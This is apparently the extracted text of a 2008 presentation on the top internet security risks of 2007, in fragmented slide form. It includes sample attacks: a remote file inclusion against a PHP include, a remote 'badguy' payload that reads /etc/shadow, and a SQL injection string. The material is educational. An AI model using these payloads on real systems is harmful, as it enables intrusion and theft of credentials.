INTERNET
SECURITY
Top-10 2007 Security Risks
Wednesday 6th May 2008 Yohann Lepage – Vincent Palierne

Summary

Client-side Vulnerabilities
Client Server
Network
(Internet)
Softwares
Vulnerabilities

Web Browsers

Email Clients

Media Players

Clients-Side Vulnerabilities

Server-Side Vulnerabilities
Client Server
Network
(Internet)
Vulnerabilities

Web Applications
Hacker www.mysite.com/index.php
$>wget www.mysite.com/ Index.php
index.php?page=www.haxor.com/cat Network <?php
(Internet) include($page.'.php');
?>
Www.mysite.com/indexindex.php
USER:PASSWORD Vulnerabilities
root:S5AçéZl~]
Linus:@ée)&#$*^%
Httpd:Jpzi5z@°
www.badguy.ru/cat.php
cat.php
<?php
passthru(\"cat /etc/shadow\");
?>

Database Software
http://localhost/admin.php?module=news&id=
-1 union select 0,1,database(),3,4,5,6,7 from membres--

Security Policy and Personal

Phishing/Spear Phishing

Application Abuse

Instant Messaging
IM

Peer-to-Peer Programs

Zero Day Attacks

Conclusion
Internet security is hard because :

End